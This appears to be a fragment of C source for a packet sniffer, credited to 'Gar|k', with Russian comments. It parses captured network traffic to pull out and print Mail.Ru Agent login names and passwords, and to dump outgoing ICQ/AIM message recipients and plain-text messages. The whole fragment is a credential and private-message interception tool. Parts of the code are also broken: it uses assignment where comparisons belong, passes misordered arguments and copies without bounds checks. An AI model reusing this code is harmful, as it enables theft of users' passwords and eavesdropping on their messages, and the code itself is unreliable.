int *mraTest(unsigned char *buffer,size_t buflen)
{

 typedef struct mrim_packet_header_t
{
    unsigned long      magic;		// Magic
    unsigned long      proto;		// ?????? ?????????
    unsigned long      seq;		// Sequence
    unsigned long      msg;		// ??? ??????
    unsigned long      dlen; 		// ????? ??????
    unsigned long	from;		// ????? ???????????
    unsigned long	fromport;	// ???? ???????????
    unsigned char	reserved[16];	// ???????????????
}
mrim_packet_header_t;

typedef struct lps
        {
        unsigned long      dlen;
        unsigned char	str[255];
        }
lps;

mrim_packet_header_t cs;
lps datas;
unsigned char *p,*d;
unsigned char magic[]={0xEF,0xBE,0xAD,0xDE};
unsigned char login_msg[]={0x38,0x10,0x00,0x00};
unsigned char *pack;

int i;

unsigned long maxaddr;
unsigned long packaddr;

FILE *f;

p=memmem(buffer,&magic,buflen,4);

if(p!=0)
        {
        d=memmem(buffer,&login_msg,buflen,4);
        if(d!=0)
        {


        memset(&cs,0x00,sizeof(cs));
        memcpy(&cs,p,44);

        if(cs.msg=0x1038)
                {

                 // printf("%d %d\n",buflen,cs.dlen);

                  if((buflen-sizeof(cs))<=80) // буффер без заголовка
                  {
                  return (int *)cs.dlen;
                  }


                printf("Mail Agent login------------\n");

                pack=(char *) malloc ( cs.dlen );
                memcpy(pack,p+sizeof(cs),cs.dlen);



                memcpy(&datas,&pack[0],sizeof(datas));
                if(datas.dlen>255){ return 0;}
                datas.str[datas.dlen]='\000';
                printf("Login: %s\n",datas.str);

                memcpy(&datas,&pack[datas.dlen+4],sizeof(datas));
                if(datas.dlen>255){ return 0;}
                datas.str[datas.dlen]='\000';
                printf("Password: %s\n",datas.str);

                free(pack);
                return -1;
                }
        }
}

return 0;

}

...
// анализ принятого буфера
mraTest(buffer,resbuf);
...

void ICQtestMessage(unsigned char *buffer,size_t szbuffer)
 {
 int i=0,z=0;
 unsigned short *word;

//{09461349-4C7F-11D1-8222-444553540000}
unsigned char guid[16] = {
	0x09, 0x46, 0x13, 0x49, 0x4C, 0x7F, 0x11, 0xD1, 0x82, 0x22, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00
};


 while(i<szbuffer)
{

// ICQ sniff filter by Gar|k
// разбор пакета SNAC (04,06)/CH2
// http://iserverd.khstu.ru/oscar/snac_04_06_ch2.html

if(buffer[i]==0x2a && buffer[i+1]==0x02) // FLAP channel 2
{

 if(buffer[i+7]==0x04) // SNAC family 0x0004 - AIM Messaging
        {


        switch(buffer[i+9])
                {
                case 0x06: // SNAC subtype 0x0006 - outgoing

                        //message channel  i+27

                        if(buffer[i+25]=0x02){ // Channel 2 (rtf messages, rendezvous)
                                //buddy
                                printf("AIM Message outgoing to: ");



                                for(z=0;z<buffer[i+26];z++){putc(buffer[i+27+z],stdout);}
                                i+=27+z;putc(0x0A,stdout);



                                //разбирать сообщение мы будем для ICQ Server Relaying - {09461349-4C7F-11D1-8222-444553540000}
                                if(memcmp(&buffer[i+14],&guid,16)==0){
                                        // далее могут идти а могут и нет TLV различные,
                                        // поэтому стартуем поиск  TLV 0x2711 - extention data
                                        i+=14+16;
                                        while(buffer[i]!=0x27 && buffer[i+1]!=0x11) i++;
                                        // опять пропускам левое
                                        i+=0x25;

                                        while(buffer[i]==0x00)i++;

                                        // message type
                                        printf("---------------------------\n");
                                        switch(buffer[i])
                                                {
                                                case 0x01: // plain text
                                                        i+=8;
                                                        puts(&buffer[i]);
                                                        break;
                                                }

                                        }
                                }
                        break;
                        }
                }
 //break;
        }
i++;
}
 }

...
// анализ принятого буффера
mraTest(buffer,resbuf);
ICQtestMessage(buffer,resbuf);
...